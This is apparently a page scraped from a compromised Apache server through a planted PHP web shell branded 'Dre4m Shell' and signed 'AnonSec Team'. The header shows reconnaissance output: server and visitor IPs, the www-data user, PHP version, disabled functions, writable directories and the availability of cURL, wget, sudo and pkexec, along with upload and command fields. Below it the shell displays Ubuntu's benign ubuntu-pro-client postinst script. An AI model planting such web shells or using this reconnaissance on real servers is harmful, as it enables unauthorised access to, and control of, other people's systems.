Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.133.147.169
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/lib/dpkg/info/ubuntu-pro-client.postinst
#!/bin/sh

set -e

. /etc/os-release  # For VERSION_ID

# Needed even if this script doesn't call debconf, see:
# https://lintian.debian.org/tags/postinst-does-not-load-confmodule.html
# Note: this may re-exec the postinst script.
. /usr/share/debconf/confmodule

if [ -z "${VERSION_ID}" ]; then
    echo "Warning: missing VERSION_ID in /etc/os-release" >&2
    VERSION_ID="NO-VERSION_ID"
fi


XENIAL_CLOUD_ID_SHIM_UNIT_LOCATION="/etc/systemd/system/multi-user.target.wants/ubuntu-advantage-cloud-id-shim.service"

NOTICES_DIR="/var/lib/ubuntu-advantage/notices"
TEMP_NOTICES_DIR="/run/ubuntu-advantage/notices"
REBOOT_CMD_MARKER_FILE="/var/lib/ubuntu-advantage/marker-reboot-cmds-required"


#
# Helpers that change state of pro-client
#
add_notice() {
    notice=$1
    mkdir -p $NOTICES_DIR
    touch $NOTICES_DIR/$notice
}
add_temp_notice() {
    notice=$1
    mkdir -p $TEMP_NOTICES_DIR
    touch $TEMP_NOTICES_DIR/$notice
}
mark_reboot_cmds_as_needed() {
    if [ ! -f "$REBOOT_CMD_MARKER_FILE" ]; then
      touch $REBOOT_CMD_MARKER_FILE
    fi
}

case "$1" in
    configure)
      PREVIOUS_PKG_VER=$2

      #
      # Migrations from previous ubuntu-pro-client package versions.
      # These all exist in postinst-migrations.sh.
      # See the explanation in that file.
      # Do not add additional version migrations directly in this file.
      #

      if dpkg --compare-versions "$PREVIOUS_PKG_VER" ge "31~"; then
          /usr/lib/ubuntu-advantage/postinst-migrations.sh $PREVIOUS_PKG_VER
      fi

      #
      # do-release-upgrade migrations from previous Ubuntu release ubuntu-pro-client package versions
      #

      # Xenial -> Bionic: clean up unnecessary cloud-id-shim unit that is only in xenial packages
      if [ "$VERSION_ID" = "18.04" ]; then
          if echo "$PREVIOUS_PKG_VER" | grep -q "16.04"; then
              if [ -L $XENIAL_CLOUD_ID_SHIM_UNIT_LOCATION ]; then
                  deb-systemd-helper purge ubuntu-advantage-cloud-id-shim.service > /dev/null || true
                  deb-systemd-helper unmask ubuntu-advantage-cloud-id-shim.service > /dev/null || true
              fi
          fi
      fi


      #
      # Always do these to ensure ubuntu-pro-client is in correct state
      #

      /usr/lib/ubuntu-advantage/cloud-id-shim.sh || true

      if grep -q "^ua_config:" /etc/ubuntu-advantage/uaclient.conf; then
          echo "Warning: uaclient.conf contains old ua_config field." >&2
          echo "         Please do the following:" >&2
          echo "         1. Run 'sudo pro config set field=value' for each field/value pair" >&2
          echo "            present under ua_config in /etc/ubuntu-advantage/uaclient.conf" >&2
          echo "         2. Delete ua_config and all sub-fields in" >&2
          echo "            /etc/ubuntu-advantage/uaclient.conf" >&2
      fi
      ;;
esac

# Automatically added by dh_apparmor
if [ "$1" = "configure" ]; then
    APP_PROFILE="/etc/apparmor.d/ubuntu_pro_apt_news"
    if [ -f "$APP_PROFILE" ]; then
        # Add the local/ include
        LOCAL_APP_PROFILE="/etc/apparmor.d/local/ubuntu_pro_apt_news"

        test -e "$LOCAL_APP_PROFILE" || {
            tmp=`mktemp`
        cat <<EOM > "$tmp"
# Site-specific additions and overrides for ubuntu_pro_apt_news.
# For more details, please see /etc/apparmor.d/local/README.
EOM
            mkdir `dirname "$LOCAL_APP_PROFILE"` 2>/dev/null || true
            mv -f "$tmp" "$LOCAL_APP_PROFILE"
            chmod 644 "$LOCAL_APP_PROFILE"
        }

        # Reload the profile, including any abstraction updates
        if aa-status --enabled 2>/dev/null; then
            apparmor_parser -r -T -W "$APP_PROFILE" || true
        fi
    fi
fi
# End automatically added section
# Automatically added by dh_apparmor
if [ "$1" = "configure" ]; then
    APP_PROFILE="/etc/apparmor.d/ubuntu_pro_esm_cache"
    if [ -f "$APP_PROFILE" ]; then
        # Add the local/ include
        LOCAL_APP_PROFILE="/etc/apparmor.d/local/ubuntu_pro_esm_cache"

        test -e "$LOCAL_APP_PROFILE" || {
            tmp=`mktemp`
        cat <<EOM > "$tmp"
# Site-specific additions and overrides for ubuntu_pro_esm_cache.
# For more details, please see /etc/apparmor.d/local/README.
EOM
            mkdir `dirname "$LOCAL_APP_PROFILE"` 2>/dev/null || true
            mv -f "$tmp" "$LOCAL_APP_PROFILE"
            chmod 644 "$LOCAL_APP_PROFILE"
        }

        # Reload the profile, including any abstraction updates
        if aa-status --enabled 2>/dev/null; then
            apparmor_parser -r -T -W "$APP_PROFILE" || true
        fi
    fi
fi
# End automatically added section

# Automatically added by dhpython:
if which py3compile >/dev/null 2>&1; then
	py3compile -p ubuntu-pro-client 
fi

# End automatically added section
# Automatically added by dh_systemd_enable
# This will only remove masks created by d-s-h on package removal.
deb-systemd-helper unmask ua-reboot-cmds.service >/dev/null || true

# was-enabled defaults to true, so new installations run enable.
if deb-systemd-helper --quiet was-enabled ua-reboot-cmds.service; then
	# Enables the unit on first installation, creates new
	# symlinks on upgrades if the unit file has changed.
	deb-systemd-helper enable ua-reboot-cmds.service >/dev/null || true
else
	# Update the statefile to add new symlinks (if any), which need to be
	# cleaned up on purge. Also remove old symlinks.
	deb-systemd-helper update-state ua-reboot-cmds.service >/dev/null || true
fi
# End automatically added section
# Automatically added by dh_systemd_enable
# This will only remove masks created by d-s-h on package removal.
deb-systemd-helper unmask ua-timer.timer >/dev/null || true

# was-enabled defaults to true, so new installations run enable.
if deb-systemd-helper --quiet was-enabled ua-timer.timer; then
	# Enables the unit on first installation, creates new
	# symlinks on upgrades if the unit file has changed.
	deb-systemd-helper enable ua-timer.timer >/dev/null || true
else
	# Update the statefile to add new symlinks (if any), which need to be
	# cleaned up on purge. Also remove old symlinks.
	deb-systemd-helper update-state ua-timer.timer >/dev/null || true
fi
# End automatically added section
# Automatically added by dh_systemd_enable
# This will only remove masks created by d-s-h on package removal.
deb-systemd-helper unmask ubuntu-advantage.service >/dev/null || true

# was-enabled defaults to true, so new installations run enable.
if deb-systemd-helper --quiet was-enabled ubuntu-advantage.service; then
	# Enables the unit on first installation, creates new
	# symlinks on upgrades if the unit file has changed.
	deb-systemd-helper enable ubuntu-advantage.service >/dev/null || true
else
	# Update the statefile to add new symlinks (if any), which need to be
	# cleaned up on purge. Also remove old symlinks.
	deb-systemd-helper update-state ubuntu-advantage.service >/dev/null || true
fi
# End automatically added section
# Automatically added by dh_systemd_enable
# This will only remove masks created by d-s-h on package removal.
deb-systemd-helper unmask ubuntu-advantage-cloud-id-shim.service >/dev/null || true

# was-enabled defaults to true, so new installations run enable.
if deb-systemd-helper --quiet was-enabled ubuntu-advantage-cloud-id-shim.service; then
	# Enables the unit on first installation, creates new
	# symlinks on upgrades if the unit file has changed.
	deb-systemd-helper enable ubuntu-advantage-cloud-id-shim.service >/dev/null || true
else
	# Update the statefile to add new symlinks (if any), which need to be
	# cleaned up on purge. Also remove old symlinks.
	deb-systemd-helper update-state ubuntu-advantage-cloud-id-shim.service >/dev/null || true
fi
# End automatically added section
# Automatically added by dh_systemd_start
if [ -d /run/systemd/system ]; then
	systemctl --system daemon-reload >/dev/null || true
	deb-systemd-invoke start ua-timer.timer >/dev/null || true
fi
# End automatically added section
# Automatically added by dh_systemd_start
if [ -d /run/systemd/system ]; then
	systemctl --system daemon-reload >/dev/null || true
	deb-systemd-invoke start ubuntu-advantage.service >/dev/null || true
fi
# End automatically added section

exit 0

Anon7 - 2022
AnonSec Team